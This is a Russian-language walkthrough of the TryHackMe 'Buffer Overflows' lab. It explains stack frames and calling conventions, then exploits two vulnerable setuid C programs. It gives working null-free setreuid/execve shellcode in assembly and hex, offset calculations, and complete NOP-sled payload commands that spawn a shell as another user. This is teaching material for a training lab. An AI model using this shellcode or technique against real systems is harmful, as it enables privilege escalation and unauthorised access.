Logo

Buffer Overflows

Learn how to get started with basic Buffer Overflows!

Buffer Overflows

TryHackMe: Прохождение Buffer Overflows.

Доступ к комнате доступен только для аккаунтов с премиальной подпиской.

Следующий раздел вводный, его можно пропустить и перейти сразу к решению заданий.

Немного о стеке

Стек – это область памяти используемая для удобной передачи аргументов в подпрограммы, хранения переменных и точек возврата из подпрограмм. Стек не является обязательным, но он крайне удобен и работа с ним как правило поддерживается на аппаратном уровне.

Сам по себе стек представляет список элементов организованных по принципу “последним пришёл – первым вышел”, для простоты можно представить стопку блинов, когда последний испечённый будет съеден первым.

Существуют различные соглашения каким именно образом организована работа подпрограмм и стека, но в конечном итоге всё зависит от компилятора. Например, при вызове подпрограмм можно передавать все аргументы размещая их в стеке, в нашем же случае (а это x86_64, Linux, gcc) используется соглашение System V AMD64, а именно, что первые 6 аргументов (целочисленных) передаются через регистры rdi, rsi, rdx, rcx, r8, r9, остальные же через стек. Стек выравнен по границе в 16 байт.

Исторически у архитектуры x86 стек растёт от младших адресов к старшим.

В других архитектурах применяются и иные решения, например у процессоров ARM стек может расти в любую сторону, а у процессоров Эльбрус стеков целых три (и если стек пользователя растёт от старших адресов к младшим, то стеки процедур и связующей информации растут от младших адресов к старшим).

Существует байка, что подобный способ остался в силу исторических причин для обратной совместимости, а возник из-за ограничения размера памяти и таким образом раньше разделяли стек и кучу по разным углам. На самом же деле устройство старых машин могло отличаться принципиальным образом, у процессоров 8008 стек располагался на чипе, а не во внешней памяти и соответственно ограничения и требования лежали совсем в иных плоскостях. Стэнли Мазор, один из создателей процессора 8080, объяснял выбор подобного устройства банальным удобством обращения к аргументам на стеке, ну и облегчением отладки:

Для работы со стеком имеется специальный регистр sp (stack pointer). Как следует из названия, он указывает на текущую вершину стека. Каждый раз когда в стек помещаются данные (push ax), процессор сначала уменьшает значение sp (количество байт зависит от разрядности, например, у x64 это 8 байт), после чего размешает по указанному адресу в памяти переданное значение. Значение уменьшается потому что, ещё раз, стек растёт от старших адресов к младшим. Обратная операция по извлечению данных из стека (pop ax) выполняется в обратном порядке, значение sp при чтении данных уже будет увеличено.

Регистры sp и bp являются 16 битными, 32 битные это соответственно esp и ebp, а 64 битные rsp и rbp.

Кроме того, для работы с подпрограммами активно используется регистр bp (указатель базы). Он выполняет роль “нулевого километра” от которого крайне удобно обращаться как к локальным переменным, так и переданным параметрам, организацую тем самым т.н. стековой кадр. Рассмотрим типичный, хотя и не единственно возможный вариант:

push rbp      ; (1)
mov rbp, rsp  ; (2)
sub rsp, 16   ; (3)
; тело функции

Это пролог функции, в самом начале (1) происходит сохранение текущего rbp который актуален для вызывающего кода. Далее rbp настраивается на текущий указатель стека (2), ну и в завершении (3) на стеке выделяют дополнительные 16 байт для хранения двух локальных переменных (ещё раз, стек растет вниз к младшим адресам, поэтому для выделения места производится вычитание). Таким образом для адресации к первой локальной переменной можно адресоваться как к [rbp - 8], а ко второй как [rbp - 16].

Кроме того, если подпрограмме передавались аргументы через стек, то доступ так же удобно отсчитывать от rbp, как то [rbp + 16]. Тут нужно ещё одно пояснение, почему именно +16, а не +8: когда вызывающий код передает управление подпрограмме, прежде в стеке сохраняется адрес возврата. Поэтому сразу перед сохранённым rbp расположен адрес куда управление будет передано по завершении работы подпрограммы (итого 8 + 8 = 16 байт). Именно перезапись данного адреса и позволяет взять под контроль приложение со стороны, чему и посвящена данная комната.

Теперь посмотрим на типичный эпилог (хотя и так же не единственно возможный):

mov rsp, rbp  ; (1)
pop rbp       ; (2)
ret           ; (3)

Указатель стека настраивается на текущий rbp, т.е. сбрасывается в начальное состояние (1), после восстанавливается значение прошлого rbp (2) имеющего отношение к вызвавшему коду. Ну и в завершении передается управление обратно (3) по адресу который был записан в стеке при вызове подпрограммы, этим занимается ret.

Описанные пролог и эпилог возможно заменить специальными инструкциями, это будут соответственно enter и комбинация leave/ret. Но поскольку инструкция enter довольно медленная, она редко используется компиляторами, в отличие от leave.

На самом деле использование регистра bp, в целом стекового кадра, вовсе не обязательно, это опять же лишь соглашение, ряд компиляторов позволяют генерировать код в котором нет стекового кадра и работа с переменными и аргументами рассчитывается от регистра sp. В этом случае регистр bp высвобождается, но обратной стороной становится крайне неудобная отладка и осложненный анализ истории вызова подпрограмм.

Task 8. Buffer Overflows

Задача состоит в прочтении содержимого файла secret.txt, но права на чтение файла принадлежат пользователю user2 доступ к аккаунту которого отсутствует. Кроме того имеется приложение buffer-overflow которое запускается с правами пользователя user2:

[user1@ip-10-10-223-69 overflow-3]$ ls -l
total 20
-rwsrwxr-x 1 user2 user2 8264 Sep  2  2019 buffer-overflow
-rw-rw-r-- 1 user1 user1  285 Sep  2  2019 buffer-overflow.c
-rw------- 1 user2 user2   22 Sep  2  2019 secret.txt

Код приложения на Си так же доступен:

#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
    char buffer[140];
    strcpy(buffer, string);
    printf("%s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    printf("Here's a program that echo's out your input\n");
    copy_arg(argv[1]);
}

В функции copy_arg можно наблюдать копирование переданной в параметрах строки string в локальную переменную buffer размером в 140 байт. Копирование происходит посредством небезопасной функции strcpy которая копирует данные пока не встретит символ \x0. Соответственно если передать строку большей длины, чем размер буфера, то получится переполнение и возможность перезаписать адрес возврата взяв тем самым под контроль приложение.

Поскольку размер буфера достаточно большой, там сразу можно разместить шелл-код предоставляющий доступ к командному интерпретатору (/bin/sh), причем с правами пользователя user2.

Существуют различные механизмы защиты от эксплуатации подобного рода уязвимостей, как то размещение по случайным адресам, запрет выполнения кода на стеке, проверка целостности стека. Они имеют свои способы обхода и в данном задании не используются.

Рассмотрим как выглядит стек до и после переполнения буфера. При нормальной работе программы из функции main происходит вызов copy_arg() посредством инструкции call. Данная инструкция размещает на стеке адрес следующей после себя инструкции, туда будет передано управление после выполнения copy_arg. На схеме ниже это красный блок “адрес возврата”. После происходит переход в тело функции где следует классический пролог: сохранение текущего регистра rbp от функции main (синий блок) и выделение на стеке 140 байт под локальную переменную buffer (жёлтый блок).

Соответственно задача состоит в том, чтобы разместить в буфере код который запустит оболочку, а для передачи управления на него необходимо так же в “адрес возврата” записать адрес где и будет располагаться данный код в буфере. Чтобы упростить угадывание с точным адресом, перед кодом удобно разместить посадочную полосу – область состоящую из инструкций nop, данная инструкция является пустышкой, она не совершает никаких действий и обеспечит дорожку к шелл-коду.

Стек до и после переполнения

Для большей наглядности ещё одно отображение как выглядит процесс переполнения буфера. Учитывая что стек растёт от старших адресов к младшим, получается что локальная переменная buffer находится на младших адресах по отношению к “адресу возврату”. Поэтому когда strcpy копирует в неё данные (а это происходит слева направо, от младших адресов к старшим), то передав строку более 140 байт, будет перезаписано и прошлое содержимое стека, т.е. и адрес возврата.

Переполнение буфера

Указав в адресе возврата адрес на посадочную полосу в буфере, программа вместо возврата в main запустит шелл-код.

Напишем код. В некоторых ситуациях возможно накидать код на языке высокого уровня и тут же его скомпилировать, но в данном случае это не очень удобно. Для примера посмотрим на работу ragg2 для следующего кода (shellcode.r):

setreuid@syscall(113);

main@global() {
    setreuid(1002, 1002);
}
$ ragg2 -a x86 -b 64 -s shellcode.r
.global main
main:
; rcc_fun 1 (setreuid)
  mov rax, 1002
  push rax
  mov rax, 1002
  push rax
; set syscall args
  mov rdi, [rsp]
  mov rsi, [rsp+8]
; syscall
  mov rax, 113
  syscall
  add rsp, 16
  ret

И откомпилированная версия (архитектура x86 -a x86, 64-бит -b 64):

$ ragg2 -a x86 -b 64 shellcode.r
48c7c0ea0300005048c7c0ea03000050488b3c24488b44240848c7c0710000000f054883c410c3

Можно заметить обилие нулей, а нулевой символ является маркером окончания строки для функции strcpy за счёт которой и происходит переполнение, соответственно такой шелл-код просто не будет скопирован в память и потому не годится.

Необходимо написать код без использования нулевых символов.


Первое – при запуске процесса он получает реальный и эффективный идентификатор пользователя. Для проверки доступа к ресурсам система работает с эффективным идентификатором пользователя. При запуске файла с установленным битом suid программа получает эффективный идентификатор того пользователя, который владеет данным файлом, в данном случае это пользователь user2. Но проблема в том, что когда шелл-код запустит оболочку, она получит в качестве эффективного идентификатора значение реального, т.е. пользователя user1. Поэтому перед запуском необходимо изменить реальный идентификатор на значение эффективного. Для этого имеется функция setreuid, она принимает два значения, соответственно идентификатор реального и эффективного пользователя, а вызвать её можно посредством обращения к ОС (syscall).

Полная таблица системных вызовов (syscall) для различных архитектур и версий ядра доступна здесь.

Согласно принятому соглашению (см. выше) первый аргумент передается через регистр rdi, второй через rsi. Второй не имеет по сути значения и можно туда передать -1, но для сокращения кода можно передать то же, что и в первый. Значение идентификатора для пользователя user2:

$ id -u user2
1002

Код функции setreuid задается в регистре rax и имеет значение 113.

xor rdi, rdi
mov di, 1002
mov rsi, rdi
push 113      ; setreuid
pop rax
syscall

Далее собственно вызов оболочки посредством execve. Она принимает три параметра:

  • rdi – ссылка на имя вызываемого файла.

  • rsi – массив строк, аргументы для программы.

  • rdx – массив строк, параметры окружения.

mov r10, 0x68732f6e69622fff ; \xffhs/nib/
shr r10, 8
push r10
mov rdi, rsp  ; filename

В r10 размещается строка /bin/sh на конце которой вместо нуля символ 0xff, он используется как заглушка – далее происходит сдвиг вправо на 8 бит и символ затирается, в итоге получается правильная строка.

xor rdx, rdx  ; envp

push rdx      ; NULL
push rdi      ; /bin/sh
mov rsi, rsp  ; argv

push 59       ; execve
pop rax
syscall

В rsi размещается ссылка на ссылку, ибо это массив из указателей.

Полный листинг шелл-кода (shellcode.s):

.intel_syntax noprefix

.section .text
.global _start
_start:

xor rdi, rdi
mov di, 1002
mov rsi, rdi
push 113      ; setreuid
pop rax
syscall

mov r10, 0x68732f6e69622fff ; \xffhs/nib/
shr r10, 8
push r10
mov rdi, rsp  ; filename

xor rdx, rdx  ; envp

push rdx      ; NULL
push rdi      ; /bin/sh
mov rsi, rsp  ; argv

push 59       ; execve
pop rax
syscall

Ассемблирование, линковка и просмотр получившегося приложения в radare2:

$ as shellcode.s -o shellcode.o
$ ld shellcode.o -o shellcode
$ r2 shellcode
Откомпилированный код

Командой pcs можно сразу получить код в удобном формате для использования в скрипте на python.

"\x48\x31\xff\x66\xbf\xea\x03\x48\x89\xfe\x6a\x71\x58\x0f\x05\x49\xba\xff
\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xea\x08\x41\x52\x48\x89\xe7\x48\x31
\xd2\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05"

Теперь необходимо вычислить размер эксплойта. Теоретически размер должен быть следующий: буфер (140 байт) + rbp (8 байт) + rip (6 байт; указатели хоть и 64 битные, но используются только 48 бит). Практически же нужно смотреть и считать. Во-первых, компилятор может задействовать использование собственных локальных переменных прямо не объявленных в коде (забегая вперёд, в данном случае так и происходит, правда эта “лишняя” переменная объявляется после буфера и потому не имеет никакого значения), а во-вторых переменная может иметь выравнивание для ускорения работы с памятью, а потому между сохранённым rbp и первой локальной переменной могут появиться лишние байты.

Загрузим приложение в radare2 и изучим функцию copy_arg:

Дизассемблированный код приложения

Можно заметить, что компилятор добавил ещё одну локальную переменную (3), но поскольку она расположена “дальше”, для нас она не имеет значения. По адресу 0x7fffffffe2d8 (2) видим сохранённый адрес (rip) куда будет передано управление после завершения работы функции, а сразу перед ним (1) видим сохранённый rbp, начало нового стекового кадра. Соответственно сразу перед ним вплоть до 0x7ffffffffe240 расположен буфер (buffer[140]). С этими данными можно вычислить на сколько байт происходит выравнивание:

$ echo 'ibase=16; 7FFFFFFFE2D0 - 7FFFFFFFE240' | bc
144

Учитывая что буфер объявлен размером в 140 байт, получаем 144 - 140 = 4 дополнительных байта. Итого код эксплойта должен иметь следующий размер: 140 (буфер) + 4 (выравнивание) + 8 (rbp) + 6 (rip) = 158 байт.

Сформируем код в python’е и проверим как происходит переполнение:

$ r2 -A -d ./buffer-overflow `python -c 'print("\x90" * 50 + 
"\x48\x31\xff\x66\xbf\xea\x03\x48\x89\xfe\x6a\x71\x58\x0f\x05\x49\xba\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xea\x08\x41\x52\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05" +
"-" * 55 + "\x60\xe2\xff\xff\xff\x7f")'`
  • \x90 * 50 – посадочная полоса из 50 инструкций nop.

  • \x48\x31... – собственно сам шелл-код, 47 байт.

  • "-" * 55 – мусор, его размер определяем как 158 - 50 - 47 - 6 = 55.

  • \x60\xe2... – адрес возврата куда-нибудь на посадочную полосу, 6 байт. Для наглядности здесь адрес точно указывает на начало шелл-кода.

Проверка переполнения

Поставим точку останова на вызов strcpy и посмотрим на состояние стека pxq 190 @ rsp. Видим сохранённый rip (1) и сохранённый rbp (2). Сделаем один шаг dso и вновь посмотрим на состояние стека. Теперь прекрасно видно, что стек был перезаписан: в начале посадочная полоса (3) из инструкций nop (0x90), после шелл-код (4), далее мусор в виде символа - (0x2d) ну и вишенкой на торте новый адрес возврата (1).

Теперь проверим работу в полевых условиях (адреса вне отладчика отличаются; адрес возврата изменён и указывает на посадочную полосу):

Флаг

Task 9. Buffer Overflow 2

Аналогичная задача, но код приложения немного отличается:

#include <stdio.h>
#include <stdlib.h>

void concat_arg(char *string)
{
    char buffer[154] = "doggo";
    strcat(buffer, string);
    printf("new word is %s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    concat_arg(argv[1]);
}

Во-первых, буфер изначально инициализирован строкой doggo, а во-вторых вместо strcpy используется strcat, т.е. данные будут размешаться не с начала буфера, а с конца строки doggo (размер буфера уменьшен на 5 байт).

Посмотрим какого размера должен быть эксплойт, загрузим приложение в radare2:

$ r2 -A -d ./buffer-overflow-2
Код приложения

По адресу 0x7fffffffe358 находится сохранённый rip (1), перед ним (2) стековый кадр, а по адресу 0x7fffffffe2b0 начало буфера (3). Теперь можно вычислить выравнивание и посчитать весь размер эксплойта:

$ echo 'ibase=16; 7FFFFFFFE350 - 7FFFFFFFE2B0' | bc
160

Учитывая что буфер объявлен размером в 154 байта, получаем 160 - 154 = 6 дополнительных байт. Итого код эксплойта должен иметь следующий размер: 154 (буфер) + 6 (выравнивание) + 8 (rbp) + 6 (rip) - 5 (doggo) = 169 байт.

Сформируем код эксплойта в python’е и проверим его работу:

$ ./buffer-overflow-2 $(python -c 'print("\x90" * 80 + 
"\x48\x31\xff\x66\xbf\xeb\x03\x48\x89\xfe\x6a\x71\x58\x0f\x05\x49\xba\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xea\x08\x41\x52\x48\x89\xe7\x48\x31\xd2\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05" +
"-" * 36 + "\x50\xe2\xff\xff\xff\x7f")')
  • \x90 * 80 – посадочная полоса из 80 инструкций nop.

  • \x48\x31... – шелл-код, аналогичен прошлому заданию, с той лишь разницей, что идентификатор исправлен на 1003 для соответствия пользователю user3; 47 байт.

  • "-" * 36 – мусор, его размер определяем как 169 - 80 - 47 - 6 = 36.

  • \x50\xe2... – адрес возврата куда-нибудь на посадочную полосу.

Флаг

На этом всё.